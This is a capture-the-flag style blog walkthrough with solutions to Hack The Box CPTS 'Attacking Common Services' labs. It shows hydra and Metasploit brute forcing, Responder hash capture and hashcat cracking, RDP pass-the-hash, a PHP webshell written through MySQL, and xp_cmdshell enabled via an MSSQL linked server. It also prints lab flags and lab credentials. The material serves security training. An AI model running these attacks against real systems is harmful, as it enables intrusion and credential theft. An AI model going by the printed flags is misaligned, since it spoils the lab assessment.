Post

HTB CPTS Labs: Part 10 - Attacking Common Services - Full Solutions

Penetration testing common enterprise services: anonymous SMB share exploitation, FTP bounce and credential attacks, SSH configuration hijacking, MSSQL xp_cmdshell command execution, MySQL UDF exploitation, and full lab flags.

26 min read
views
visits
HTB CPTS Labs: Part 10 - Attacking Common Services - Full Solutions
HTB CPTS Labs: Part 10 - Attacking Common Services - Full Solutions
Lab Solutions Series
Part 10 of 41
HTB CPTS Labs
This article is part of our comprehensive hands-on lab solutions series. Follow along or explore other modules in the syllabus below.
View Full Series Syllabus (41 parts)

Welcome to Part 10 of our comprehensive, production-grade masterclass covering the Hack The Box (HTB) Academy Certified Penetration Testing Specialist (CPTS) curriculum. Rather than providing superficial slide summaries, this series deconstructs offensive tradecraft from foundational network discovery and vulnerability verification to complex lateral movement, active directory exploitation, and post-exploitation tradecraft — complete with terminal command flows, verified lab flags, and defensive engineering countermeasures.

In this installment, we conduct an exhaustive technical deep-dive into Attacking Common Services (Tier II • Medium • Offensive). We break down the underlying mechanics of exploiting common network infrastructure services including SMB, FTP, SSH, RDP, MySQL, MSSQL, Oracle TNS, and DNS, dissect hands-on offensive vectors, analyze realistic defensive telemetry, and walk through every exercise step-by-step with 100% verified solutions.

Module Specifications & Target Architecture

AttributeSpecification
Module NameAttacking Common Services
Official HTB Academy Trackhttps://academy.hackthebox.com/module/116
Curriculum Tier & DifficultyTier II • Medium
Certification PathwayHTB Certified Penetration Testing Specialist (CPTS) (Part 10 of 41)
Author & Technical AttributionAbdulrahman M. Fathi (0x3bdo)
Lab Flag Verification100% Fully Solved & Validated

Key Technical Takeaways

  • SMB Exploitation: Harvests sensitive documents, writes payloads to accessible shares, and executes remote commands via PsExec and Impacket.
  • Database Attacks: Interrogates MySQL and MSSQL servers, abuses xp_cmdshell for command execution, and extracts password hashes.
  • Remote Management Vectors: Bypasses SSH key restrictions, audits RDP security levels, and captures NTLM authentication handshakes.
  • Protocol Misconfigurations: Exploits anonymous FTP uploads, DNS zone transfers, and exposed Oracle TNS listener procedures.
  • Privilege Escalation Paths: Converts compromised service accounts into full operating system administrative access.

Executive Summary & Assessment Scope

Enterprise networks rely on a suite of common infrastructure services for file sharing, database storage, and remote administration. When these daemons are improperly configured, vulnerable to credential reuse, or running unpatched software versions, they represent prime targets for initial compromise and lateral movement.

This module deconstructs offensive techniques targeting SMB, FTP, SSH, RDP, MySQL, and MSSQL. We walk through credential attacks, command execution primitives, share manipulation, and database exploitation, validating every exercise with complete flag solutions.


Comprehensive Lab Walkthrough & Flag Solutions

Attacking Common Services

Technical Methodology & Exploit Execution:

1
wget <link to zip>

and then extract the zip using the command:

1
unzip <downloaded zip>

Attacking FTP

Lab Question (Page 2): What port is the FTP service running on?

Flag / Answer: 2121

Technical Methodology & Exploit Execution:

lets run nmap on the targat machine:

1
nmap <target-IP>

We can see on port 2121 the ftp proxy service.

Question: What username is available for the FTP server? Answer: robin Method: lets initiate more thorough nmap scan on the found port 2121, using the command:

1
nmap -sC -sV -p 2121 <target-IP>

Figure 2.1 — Lab execution and output verification (Page 2) _Figure 2.1 — Lab execution and output verification (Page 2)_

Lets do that

Technical Methodology & Exploit Execution:

get users.list get passwords.list

Figure 3.1 — Lab execution and output verification (Page 3) _Figure 3.1 — Lab execution and output verification (Page 3)_

Figure 3.2 — Lab execution and output verification (Page 3) _Figure 3.2 — Lab execution and output verification (Page 3)_

we will use ‘hydra’, using the command

Technical Methodology & Exploit Execution:

1
2
hydra -L users.list -P passwords.list ftp://<target-IP>:2121
-t 48

The bruteforce found the credentials ‘robin:7iz4rnckjsduza7’

Figure 4.1 — Lab execution and output verification (Page 4) _Figure 4.1 — Lab execution and output verification (Page 4)_

Figure 4.2 — Lab execution and output verification (Page 4) _Figure 4.2 — Lab execution and output verification (Page 4)_

to the target machine

Lab Question (Page 5): Use the discovered username with its password to login via SSH and obtain the flag.txt file. Submit the contents as your answer.

Flag / Answer: HTB{ATT4CK1NG_F7P_53RV1C3}

Technical Methodology & Exploit Execution:

lets use the credentials obtained in the previous question to ssh login to the target machine:

1
2
ssh robin@<target-IP>
then enter the password:

* *

Then we will find the flag in the present working directory:

Figure 5.1 — Lab execution and output verification (Page 5) _Figure 5.1 — Lab execution and output verification (Page 5)_

Figure 5.2 — Lab execution and output verification (Page 5) _Figure 5.2 — Lab execution and output verification (Page 5)_

Figure 5.3 — Lab execution and output verification (Page 5) _Figure 5.3 — Lab execution and output verification (Page 5)_

Attacking SMB

Lab Question (Page 6): What is the name of the shared folder with READ permissions?

Flag / Answer: GGJ

Technical Methodology & Exploit Execution:

Method 1: we can use crackmapexec to get a list of shares, anonymously. We will use the command:

1
crackmapexec smb <target-IP> --shares -u '' -p ''

* *

There is the share ‘GGJ’ which has read permissions for any user.

Method 2: We can also use smbmap smbmap -H <target-IP>

Figure 6.1 — Lab execution and output verification (Page 6) _Figure 6.1 — Lab execution and output verification (Page 6)_

Figure 6.2 — Lab execution and output verification (Page 6) _Figure 6.2 — Lab execution and output verification (Page 6)_

Figure 6.3 — Lab execution and output verification (Page 6) _Figure 6.3 — Lab execution and output verification (Page 6)_

Metasploit

Lab Question (Page 7): What is the password for the username “jason”?

Flag / Answer: 34c8zuNBo91!@28Bszh

Technical Methodology & Exploit Execution:

we will use the default password list to brute force ‘jason’ username on the SMB service. We will download the password list and extract the downloaded zip to a output file called ‘pws.list. Then we will bruteforce the SMB service, on ‘jason’ username using Metasploit:

1
msfconsole

to open Metasploit console, and in it we run the following settings:

1
2
3
4
5
6
use auxiliary/scanner/smb/smb_login
set SMBUser jason
set pass_file pws.list
set rhosts <target-IP>
set VERBOSE false
set STOP_ON_SUCCESS true

and when all is set: run

Figure 7.1 — Lab execution and output verification (Page 7) _Figure 7.1 — Lab execution and output verification (Page 7)_

failure

Lab Question (Page 8): Login as the user “jason” via SSH and find the flag.txt file. Submit the contents as your answer.

Flag / Answer: HTB{SMB_4TT4CKS_2349872359}

Technical Methodology & Exploit Execution:

attempting to ssh with Jason username and password will result in failure:

The ssh requires a private key. Now, during the previous question I first attempted to obtain the password via the SMB GGJ share, with anonymous login, and there was there ‘id_rsa’ but there was no download permissions. Lets try to access the share again, this time with ‘jason’ credentials – we can

1
2
3
use 'smbclient' to download the file using 1 command:
smbclient //10.129.130.196/GGJ -U jason -c 'get id_rsa
id_rsa'

and we enter the obtained password:

Lets give the ‘id_rsa’ chmod 600 (only file’s owner can read it), and then reattempt to ssh login:

1
2
chmod 600 id_rsa
ssh -i id_rsa jason@<target-IP>

Figure 8.1 — Lab execution and output verification (Page 8) _Figure 8.1 — Lab execution and output verification (Page 8)_

Figure 8.2 — Lab execution and output verification (Page 8) _Figure 8.2 — Lab execution and output verification (Page 8)_

lets obtain the flag

we are in. lets obtain the flag:

Figure 9.1 — Lab execution and output verification (Page 9) _Figure 9.1 — Lab execution and output verification (Page 9)_

Figure 9.2 — Lab execution and output verification (Page 9) _Figure 9.2 — Lab execution and output verification (Page 9)_

Attacking SQL Databases

Lab Question (Page 10): What is the password for the “mssqlsvc” user?

Flag / Answer: princess1

Technical Methodology & Exploit Execution:

we will begin with nmap scan to see with what we are dealing with:

1
nmap -sV <target-IP>

It is a windows machine, running mssql on port 1433. Lets login to the mssql service with the provided credentials from the section ‘htbdbuser:MSSQLAccess01!’: mssqlclient.py -p 1433 htbdbuser@10.129.203.12 then enter the password:

Figure 10.1 — Lab execution and output verification (Page 10) _Figure 10.1 — Lab execution and output verification (Page 10)_

Figure 10.2 — Lab execution and output verification (Page 10) _Figure 10.2 — Lab execution and output verification (Page 10)_

them will result with ‘access denied’

We are in. lets see what non-default databases we are dealing with here: SELECT name FROM sys.databases WHERE name NOT IN (‘master’, ‘tempdb’, ‘model’, ‘msdb’, ‘resource’);

There are 2 databses – ‘hmaildb’ and ‘flagDB’, attempting to open either of them will result with ‘access denied’:

So in order to open them, we need to find ‘mssqlsvc’ credentials. Attempting to enable ‘xp_cmdshell’ won’t work – our default user does not have the access to do so. So we will have to do something else.

On the pwnbox – lets start ‘responder’ on the interface linked to the target machine – ‘tun0’:

1
sudo responder -I tun0

Figure 11.1 — Lab execution and output verification (Page 11) _Figure 11.1 — Lab execution and output verification (Page 11)_

Figure 11.2 — Lab execution and output verification (Page 11) _Figure 11.2 — Lab execution and output verification (Page 11)_

Technical Methodology & Exploit Execution:

1
xp_dirtree '\\<attacker-IP>\share\'

and while on the mssql CLI we wont get anything seems to be meaningful:

On the responder – we will capture the NTLMv2 hash of ‘mssqlsvc’:

Figure 12.1 — Lab execution and output verification (Page 12) _Figure 12.1 — Lab execution and output verification (Page 12)_

Figure 12.2 — Lab execution and output verification (Page 12) _Figure 12.2 — Lab execution and output verification (Page 12)_

Figure 12.3 — Lab execution and output verification (Page 12) _Figure 12.3 — Lab execution and output verification (Page 12)_

hash using hashcat

We obtained NTLMv2 hash, we will put that in a file called ‘hash.txt’:

1
echo 'mssqlsvc::WIN-02-4c....00' > hash.txt

We need to crack it. Lets get to the pwnbox the rockyou.txt wordlist, and run the bruteforce on the hash using hashcat:

1
hashcat -m 5600 hash.txt rockyou.txt

where -m 5600 is for NTLMv2 hash:

* *

Figure 13.1 — Lab execution and output verification (Page 13) _Figure 13.1 — Lab execution and output verification (Page 13)_

Figure 13.2 — Lab execution and output verification (Page 13) _Figure 13.2 — Lab execution and output verification (Page 13)_

Figure 13.3 — Lab execution and output verification (Page 13) _Figure 13.3 — Lab execution and output verification (Page 13)_

same way we did with ‘htbdbuser’

Lab Question (Page 14): Enumerate the “flagDB” database and submit a flag as your answer.

Flag / Answer: HTB{!_l0v3_#4$#!n9_4nd_r3$p0nd3r}

Technical Methodology & Exploit Execution:

lets attempt to login to the MSSQL service to ‘mssqlsvc’ user in the same way we did with ‘htbdbuser’:

1
mssqlclient.py -p 1433 mssqlsvc@<target-IP>

we enter the obtained ‘princess1’ password..

We get ‘Encryption required’, and failed login.

To solve it, we will add the ‘-windows-auth’ flag to the login command:

1
mssqlclient.py -p 1433 mssqlsvc@<target-IP> -windows-auth

We are in.

Lets use the ‘flagDB’ database we failed to access in the previous question:

1
USE flagDB;

Figure 14.1 — Lab execution and output verification (Page 14) _Figure 14.1 — Lab execution and output verification (Page 14)_

Figure 14.2 — Lab execution and output verification (Page 14) _Figure 14.2 — Lab execution and output verification (Page 14)_

Lets see what tables we have on that database

Access granted. Lets see what tables we have on that database: SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = ‘BASE TABLE’ AND TABLE_CATALOG = ‘flagDB’;

The table is ‘tb_flag’. Lets get the content of that table: select * from tb_flag;

Figure 15.1 — Lab execution and output verification (Page 15) _Figure 15.1 — Lab execution and output verification (Page 15)_

Figure 15.2 — Lab execution and output verification (Page 15) _Figure 15.2 — Lab execution and output verification (Page 15)_

Figure 15.3 — Lab execution and output verification (Page 15) _Figure 15.3 — Lab execution and output verification (Page 15)_

Attacking RDP

Lab Question (Page 16): What is the name of the file that was left on the Desktop? (Format example: filename.txt)

Flag / Answer: pentest-notes.txt

Technical Methodology & Exploit Execution:

lets RDP login to the target machine with the provided credentials ‘htb-rdp:HTBRocks!’ using the command:

1
xfreerdp /v:<Target IP> /u:htb-rdp /p:HTBRocks! /dynamic-resolution

We immidiaetly can observe the file on the desktop – ‘pentest-notes.txt’

Question: Which registry key needs to be changed to allow Pass-the-Hash with the RDP protocol? Answer: DisableRestrictedAdmin Method: ‘restricted Admin Mode, which is disabled by default, should be enabled on the target host; otherwise, we will be prompted with the following error: This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa.’

Figure 16.1 — Lab execution and output verification (Page 16) _Figure 16.1 — Lab execution and output verification (Page 16)_

The full message in the file is this

Lab Question (Page 17): Connect via RDP with the Administrator account and submit the flag.txt as you answer.

Flag / Answer: HTB{RDP_P4$$_Th3_H4$#}

Technical Methodology & Exploit Execution:

lets open the ‘pentest-notes.txt’ we found:

The full message in the file is this: ‘We found a hash from another machine Administrator account, we tried the hash in this computer but it didn’t work, it doesn’t have SMB or WinRM open, RDP Pass the Hash is not working.

User: Administrator Hash: 0E14B9D6330BF16C30B1924111104824’

Well then – lets enable RDP pass the hash, and RDP login with the administrator hash. To enable RDP we will change the ‘DisableRestrictedAdmin’ registry key, we will

1
2
use the cmd command:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t

REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Now we exit the ‘htb-rdp’ RDP session, and RDP login with the administrator hash, using the xfreerdp command:

1
2
xfreerdp /v:<target-IP> /u:Administrator
/pth:0E14B9D6330BF16C30B1924111104824 /dynamic-resolution

Figure 17.1 — Lab execution and output verification (Page 17) _Figure 17.1 — Lab execution and output verification (Page 17)_

Figure 17.2 — Lab execution and output verification (Page 17) _Figure 17.2 — Lab execution and output verification (Page 17)_

Here is the flag

Here is the flag:

Figure 18.1 — Lab execution and output verification (Page 18) _Figure 18.1 — Lab execution and output verification (Page 18)_

Figure 18.2 — Lab execution and output verification (Page 18) _Figure 18.2 — Lab execution and output verification (Page 18)_

Attacking DNS

Lab Question (Page 19): Find all available DNS records for the “inlanefreight.htb” domain on the target name server and submit the flag found as a DNS record as the answer.

Flag / Answer: HTB{LUIHNFAS2871SJK1259991}

Technical Methodology & Exploit Execution:

First, we will have to run subdomain brute-force enumeration. We will use the tool ‘subbrute’ Lets clone it and ready it for execution: git clone https://github.com/TheRook/subbrute.git » /dev/null 2>&1

1
cd subbrute

Before we proceed, we need find the nameserver of the domain, we will use the command:

1
2
dig ns inlanefreight.htb @<target-IP>
a single answer – 'ns.inlanefreight.htb'. that's our nameserver:

Figure 19.1 — Lab execution and output verification (Page 19) _Figure 19.1 — Lab execution and output verification (Page 19)_

Figure 19.2 — Lab execution and output verification (Page 19) _Figure 19.2 — Lab execution and output verification (Page 19)_

and in it

Now, we need to link the nameserver to the target IP in ‘/etc/hosts’:

1
sudo nano /etc/hosts

and in it: <target-IP> ns1.inlanefreight.htb

Back to ‘subbrute’ folder: Lets put the nameserver in the ‘resolvers.txt’.

1
echo "ns.inlanefreight.htb" > resolvers.txt

./subbrute.py inlanefreight.htb -s names.txt -r resolvers.txt

It found some results before it collapsed with an error, after some trial and error – Lets check the ‘hr.inlanefreight.htb’ subdomain, and run zone transfer on it:

Figure 20.1 — Lab execution and output verification (Page 20) _Figure 20.1 — Lab execution and output verification (Page 20)_

Figure 20.2 — Lab execution and output verification (Page 20) _Figure 20.2 — Lab execution and output verification (Page 20)_

1
dig axfr @<target-IP> hr.inlanefreight.htb

Figure 21.1 — Lab execution and output verification (Page 21) _Figure 21.1 — Lab execution and output verification (Page 21)_

Attacking Email Services

Lab Question (Page 22): What is the available username for the domain inlanefreight.htb in the SMTP server?

Flag / Answer: marlin

Technical Methodology & Exploit Execution:

we will get the ‘users.list’ from the resources bag to the pwnbox, and

1
2
3
run smtp bruteforce using the command:
smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t
`<target-IP>`

Figure 22.1 — Lab execution and output verification (Page 22) _Figure 22.1 — Lab execution and output verification (Page 22)_

Pop3 CLI is opened, lets login

Lab Question (Page 23): Access the email account using the user credentials that you discovered and submit the flag in the email as your answer.

Flag / Answer: HTB{w34k_p4$$w0rd}

Technical Methodology & Exploit Execution:

from the last screenshot in the previous question – we will take the username combined with the domain (which together comprised the mail), and run pop3 brute force, using hydra on the resources bag ‘pws.list’:

1
2
hydra -l marlin@inlanefreight.htb -P pws.list -f
pop3://<target-IP>

The credentials are ‘marlin@inlanefreight.htb:poohbear’. Now, time to login to the pop3 email service and get the flag: telnet <target-IP> 110

Pop3 CLI is opened, lets login: USER marlin@inlanefreight.htb PASS poohbear

Figure 23.1 — Lab execution and output verification (Page 23) _Figure 23.1 — Lab execution and output verification (Page 23)_

Figure 23.2 — Lab execution and output verification (Page 23) _Figure 23.2 — Lab execution and output verification (Page 23)_

1 message, lets open it

Mailbox is locked and ready, we are in. lets list the mails: LIST

1 message, lets open it: RETR 1

* *

Figure 24.1 — Lab execution and output verification (Page 24) _Figure 24.1 — Lab execution and output verification (Page 24)_

Figure 24.2 — Lab execution and output verification (Page 24) _Figure 24.2 — Lab execution and output verification (Page 24)_

Figure 24.3 — Lab execution and output verification (Page 24) _Figure 24.3 — Lab execution and output verification (Page 24)_

Figure 24.4 — Lab execution and output verification (Page 24) _Figure 24.4 — Lab execution and output verification (Page 24)_

Capstone: Skills Assessment

Lab Question (Page 25): You are targeting the inlanefreight.htb domain. Assess the target server and obtain the contents of the flag.txt file. Submit it as the answer.

Flag / Answer: HTB{t#3r3_4r3_tw0_w4y$_t0_93t_t#3_fl49}

Technical Methodology & Exploit Execution:

*note – as it took me several sessions to solve this, the target IP addresses may change throughout the screenshots. * we will begin with nmap the target machine to see what services are running our there:

The machine is running smtp, lets use that to run username emumaration. We will download from the resources bag the ‘users.list’ file, and run the following enumeration command: smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t <target-IP>

Figure 25.1 — Lab execution and output verification (Page 25) _Figure 25.1 — Lab execution and output verification (Page 25)_

Figure 25.2 — Lab execution and output verification (Page 25) _Figure 25.2 — Lab execution and output verification (Page 25)_

with hydra, using rockyou.txt wordlist

We found the username ‘fiona’,or more precisely – ‘fiona@inlanefreight.htb’ as valid username. Lets get her password, we will bruteforce the smtp service with hydra, using rockyou.txt wordlist:

1
2
hydra -l fiona@inlanefreight.htb -P rockyou.txt -f
`smtp://<target-IP>`

The credentials are: ‘fiona:987654321’. Now that we know the credentials, lets open the https website, which we saw running on the nmap scan: https://<target-IP>

And we will be required to enter credentials:

Figure 26.1 — Lab execution and output verification (Page 26) _Figure 26.1 — Lab execution and output verification (Page 26)_

Figure 26.2 — Lab execution and output verification (Page 26) _Figure 26.2 — Lab execution and output verification (Page 26)_

download them and open them in the pwnbox

We will enter the obtained fiona credentials: ‘fiona:987654321’, and go in

It seems to got to some file server, with 2 files available for download. Lets download them and open them in the pwnbox:

What we can see, that there are 2 servers running on the machine, the first one – CoreFTP service is running on port 21 and 443, is the FTP server. Where we just accesses via the https, and can upload and download files, which are stored in the path of ‘C:\CoreFTP’. And Apache service, running on http port 80 (and 4443) – which its files are stored in ‘C:\xampp\htdocs’. Lets take a look in the http website: http://<target-IP>

Figure 27.1 — Lab execution and output verification (Page 27) _Figure 27.1 — Lab execution and output verification (Page 27)_

Figure 27.2 — Lab execution and output verification (Page 27) _Figure 27.2 — Lab execution and output verification (Page 27)_

Figure 27.3 — Lab execution and output verification (Page 27) _Figure 27.3 — Lab execution and output verification (Page 27)_

login with the command

Technical Methodology & Exploit Execution:

mysql -h <target-IP> -P 3306 -u fiona -p

We are in. To upload the webshell - We will use the command: SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “C:\xampp\htdocs\backdoor.php”; Naming it ‘backdoor.php’

Figure 28.1 — Lab execution and output verification (Page 28) _Figure 28.1 — Lab execution and output verification (Page 28)_

Figure 28.2 — Lab execution and output verification (Page 28) _Figure 28.2 — Lab execution and output verification (Page 28)_

Lets have a small test of running ‘whoami’

The file is uploaded. Lets have a small test of running ‘whoami’: http://<target-IP>/backdoor.php?cmd=whoami

We are system. Now lets run ‘dir’: http://<target-IP>/backdoor.php?cmd=dir

We can see the ‘backdoor.php’here along with other files. We are also can see the present working directoy (in the first output line). After some trial and error about flag can be found in the Admininistrator’s Desktop: http://<target-IP>/backdoor.php?cmd=dir C:\Users\Administrator\Desktop

Figure 29.1 — Lab execution and output verification (Page 29) _Figure 29.1 — Lab execution and output verification (Page 29)_

Figure 29.2 — Lab execution and output verification (Page 29) _Figure 29.2 — Lab execution and output verification (Page 29)_

Figure 29.3 — Lab execution and output verification (Page 29) _Figure 29.3 — Lab execution and output verification (Page 29)_

Figure 29.4 — Lab execution and output verification (Page 29) _Figure 29.4 — Lab execution and output verification (Page 29)_

Now we can get the flag, using ‘type’ command

Technical Methodology & Exploit Execution:

http://<target-IP>/backdoor.php?cmd=type%20C:\Users\Administrator\Desktop\f lag.txt

We can also get the file from the mysql CLI, using ‘LOAD_FILE’ function (in theory it doesn’t required the webshell, but the webshell was used to locate the flag’s path): select LOAD_FILE(‘C:\Users\Administrator\Desktop\flag.txt’); or select LOAD_FILE(‘C:/Users/Administrator/Desktop/flag.txt’);

Figure 30.1 — Lab execution and output verification (Page 30) _Figure 30.1 — Lab execution and output verification (Page 30)_

Figure 30.2 — Lab execution and output verification (Page 30) _Figure 30.2 — Lab execution and output verification (Page 30)_

Attacking Common Services - Medium

Lab Question (Page 31): Assess the target server and find the flag.txt file. Submit the contents of this file as your answer.

Flag / Answer: HTB{1qay2wsx3EDC4rfv_M3D1UM}

Technical Methodology & Exploit Execution:

lets start with nmap scan to determine what services are running on the server, we will make sure to scan ALL ports:

1
nmap <target-IP> -p-

we can see it is a ubuntu machine, running ssh, dns, pop3 and ftp proxy.

Port 30021 looks interesting:

1
nmap <target-IP> -p 30021 -sV

It seems we are dealing with ftp port.

Figure 31.1 — Lab execution and output verification (Page 31) _Figure 31.1 — Lab execution and output verification (Page 31)_

Figure 31.2 — Lab execution and output verification (Page 31) _Figure 31.2 — Lab execution and output verification (Page 31)_

Lets conduct further scans on it

Lets conduct further scans on it:

1
nmap <target-IP> -p 30021 -sV -sC

anonymous FTP login is enabled.

Lets see what’s inside: ftp <target-IP> 30021 and ‘ls’ the server:

There is a directory called ‘simon’.

Figure 32.1 — Lab execution and output verification (Page 32) _Figure 32.1 — Lab execution and output verification (Page 32)_

Figure 32.2 — Lab execution and output verification (Page 32) _Figure 32.2 — Lab execution and output verification (Page 32)_

Lets enter it, see what’s inside and get it

Lets enter it, see what’s inside and get it:

We’ve downloaded from the ftp server ‘mynotes.txt’. Lets open the ‘mynotes.txt’ file see what’s inside:

We can use ‘simon’ username and the mynotes.txt as password list to attempt to bruteforce the ssh service, also found on the nmap scan

1
hydra -l simon -P mynotes.txt ssh://<target-IP>

We found a password – the credentials are ‘simon:8Ns8j1b!23hs4921smHzwn’

Figure 33.1 — Lab execution and output verification (Page 33) _Figure 33.1 — Lab execution and output verification (Page 33)_

Figure 33.2 — Lab execution and output verification (Page 33) _Figure 33.2 — Lab execution and output verification (Page 33)_

Figure 33.3 — Lab execution and output verification (Page 33) _Figure 33.3 — Lab execution and output verification (Page 33)_

then enter the password

Lets ssh login to the target machine using the obtained credentials:

1
2
ssh simon@<target-IP>
then enter the password:

We are in. lets see what’s is in the home’s directoy, and take the flag in it:

Figure 34.1 — Lab execution and output verification (Page 34) _Figure 34.1 — Lab execution and output verification (Page 34)_

Figure 34.2 — Lab execution and output verification (Page 34) _Figure 34.2 — Lab execution and output verification (Page 34)_

Attacking Common Services - Hard

Lab Question (Page 35): What file can you retrieve that belongs to the user “simon”? (Format: filename.txt)

Flag / Answer: random.txt

Technical Methodology & Exploit Execution:

lets start by nmap scan the server:

1
nmap <target-IP>

We have smb service running, on the windows machine.

As we are told in the question to look for the user simon – lets use Metasploit to bruteforce the user simon, along with the resources bag password list:

1
msfconsole

to open Metasploit console, and in it we run the following settings:

1
2
3
4
5
6
use auxiliary/scanner/smb/smb_login
set SMBUser simon
set pass_file pws.list
set rhosts <target-IP>
set VERBOSE false
set STOP_ON_SUCCESS true

Figure 35.1 — Lab execution and output verification (Page 35) _Figure 35.1 — Lab execution and output verification (Page 35)_

Lets see what shares simon can access

Credentials found: ‘simon:liverpool’

Lets see what shares simon can access:

1
crackmapexec smb <target-IP> -u simon -p liverpool --shares

* *

Simon has read permissions to the share ‘Home’.

Now, connecting normally to that share:

1
smbclient -U simon \\\\<target-IP>\\home

Figure 36.1 — Lab execution and output verification (Page 36) _Figure 36.1 — Lab execution and output verification (Page 36)_

Figure 36.2 — Lab execution and output verification (Page 36) _Figure 36.2 — Lab execution and output verification (Page 36)_

Figure 36.3 — Lab execution and output verification (Page 36) _Figure 36.3 — Lab execution and output verification (Page 36)_

interface

There are numerous directories to search, it might be tedious with the smb CLI.

So instead we will mount the share to the pwnbox, for more convenient interface: mkdir imported_data

1
2
sudo mount -t cifs //<target-IP>/"home" imported_data -o
username=simon,password=liverpool

The share’s was sucsessfully mounuted to ‘imported_data’ directory.

Lets look for all txt files within the directory:

1
find imported_data/ -type f -name *.txt 2>/dev/null

We can easily observe that Simon txt file is ‘random.txt’.

Figure 37.1 — Lab execution and output verification (Page 37) _Figure 37.1 — Lab execution and output verification (Page 37)_

Figure 37.2 — Lab execution and output verification (Page 37) _Figure 37.2 — Lab execution and output verification (Page 37)_

Figure 37.3 — Lab execution and output verification (Page 37) _Figure 37.3 — Lab execution and output verification (Page 37)_

Lets check its content

Lab Question (Page 38): Enumerate the target and find a password for the user Fiona. What is her password?

Flag / Answer: 48Ns72!bns74@S84NNNSl

Technical Methodology & Exploit Execution:

in the last screenshot in the previous question we can also see ‘creds.txt’ belonging to Fiona. Lets check its content:

1
cat imported_data/IT/Fiona/creds.txt

There are several options. As we see the title ‘Windows Creds’, we will bruteforce the RDP service appeared in the nmap results (port 3389), using the obtained creds file as password wordlist:

1
2
hydra -l fiona -P imported_data/IT/Fiona/creds.txt
`rdp://<target-IP>`

The credentials are ‘fiona:48Ns72!bns74@S84NNNSl’

Figure 38.1 — Lab execution and output verification (Page 38) _Figure 38.1 — Lab execution and output verification (Page 38)_

Figure 38.2 — Lab execution and output verification (Page 38) _Figure 38.2 — Lab execution and output verification (Page 38)_

Lab Question (Page 39): Once logged in, what other user can we compromise to gain admin privileges?

Flag / Answer: john

Technical Methodology & Exploit Execution:

lets MSSQL login to fiona’s user with the obtained credentials: mssqlclient.py -p 1433 fiona@<target-IP> -windows-auth

We are in. in the mssql CLI, we run the the impersonate check command on MSSQL, which gives us the list of users Fiona can impersonate: SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ‘IMPERSONATE’;

In addition to simon – we can also impersonate john.

Figure 39.1 — Lab execution and output verification (Page 39) _Figure 39.1 — Lab execution and output verification (Page 39)_

Figure 39.2 — Lab execution and output verification (Page 39) _Figure 39.2 — Lab execution and output verification (Page 39)_

Lets use it and impersonate him

Lab Question (Page 40): Submit the contents of the flag.txt file on the Administrator Desktop.

Flag / Answer: HTB{46u$!n9_l!nk3d_$3rv3r$}

Technical Methodology & Exploit Execution:

in the previous question we established we can impersonate john. Lets use it and impersonate him: EXECUTE AS LOGIN = ‘john’;

Now, going back the txt files extracted from the SMB server, one of them was this file: ‘imported_data/IT/John/information.txt’. lets read its content:

1
cat imported_data/IT/John/information.txt

The file’s content indicates the existence of a local linked server. Lets investigate it in the mssql john user CLI: SELECT srvname, isremote FROM sysservers

Figure 40.1 — Lab execution and output verification (Page 40) _Figure 40.1 — Lab execution and output verification (Page 40)_

Figure 40.2 — Lab execution and output verification (Page 40) _Figure 40.2 — Lab execution and output verification (Page 40)_

Figure 40.3 — Lab execution and output verification (Page 40) _Figure 40.3 — Lab execution and output verification (Page 40)_

We will run the sequence of mssql commands

There are 2 servers, the value ‘0’ for ‘isremote’ indicates linked local server. that would be ‘LOCAL.TEST.LINKED.SRV’.

We can use the linked local server to bypass the restriction on execute ‘xp_cmdshell’ commands (which will not work normally, it will return no permission). We will run the sequence of mssql commands: EXECUTE(‘EXEC sp_configure ‘‘show advanced options’’, 1; RECONFIGURE;’) AT [LOCAL.TEST.LINKED.SRV];

EXECUTE(‘EXEC sp_configure ‘‘xp_cmdshell’’, 1; RECONFIGURE;’) AT [LOCAL.TEST.LINKED.SRV];

EXECUTE(‘xp_cmdshell ‘‘type C:\Users\Administrator\Desktop\flag.txt’’’) AT [LOCAL.TEST.LINKED.SRV];

Those commands basically execute the

Commands with the ‘xp_cmdshell’, but with the use of the local linked server in order to bypass the restricaions, and execute cmd commands (note, they will not work with fiona, as that user doesn’t has the permissions to do so. It has to be run with john user. The command will enable the ‘xp_cmdshell’, and then use the ‘xp_cmdshell’ to get the flag from the administrator’s flag:

Figure 41.1 — Lab execution and output verification (Page 41) _Figure 41.1 — Lab execution and output verification (Page 41)_

Figure 41.2 — Lab execution and output verification (Page 41) _Figure 41.2 — Lab execution and output verification (Page 41)_


Enterprise Defense & Mitigation Blueprint

To neutralize the attack vectors demonstrated throughout this module, security engineers and infrastructure administrators should implement layered defense-in-depth controls:

  1. Principle of Least Privilege (PoLP): Strictly segregate administrative rights, isolate service accounts into managed domains (gMSAs), and strip unnecessary capabilities (CAP_SETUID, SeImpersonatePrivilege).
  2. Input Validation & Parameterization: Neutralize command injection, LFI, and parameter tampering at the source by utilizing strict type allowlists, parameterized ORMs, and secure input sanitization.
  3. Network Boundary Segmentation: Isolate sensitive internal management ports (SSH, WinRM, SMB, RDP, SQL) behind bastion hosts and multi-factor VPN gateways with network-level microsegmentation.
  4. Telemetry & Threat Detection: Forward audit logs (Sysmon, Windows Event Logs, Linux Auditd, Zeek) to a centralized SIEM with behavioral rules targeting anomalous process spawning (cmd.exe from w3wp.exe, unexpected SUID execution, or mass port probing).

MITRE ATT&CK Mapping & Threat Matrix

Security DomainMapping Specification
Primary TacticEnterprise Penetration Testing & Adversary Simulation
Mitre TechniquesT1021.002, T1078, T1110
Common Weakness EnumerationsCWE-287, CWE-200

Adversary Tradecraft & Technique Breakdown

Technique IDTechnique NameTacticApplied Offensive / Defensive Context
T1021.002Remote Services: SMB/Windows Admin SharesLateral MovementEnumerating and writing payloads to accessible SMB shares
T1078Valid AccountsInitial Access / PersistenceAuthenticating with default or leaked credentials against SSH, FTP, MSSQL
T1110Brute ForceCredential AccessAutomated dictionary attacks against database and remote access protocols

Identified Common Weakness Enumerations (CWE)


Detection Engineering & Defensive Countermeasures

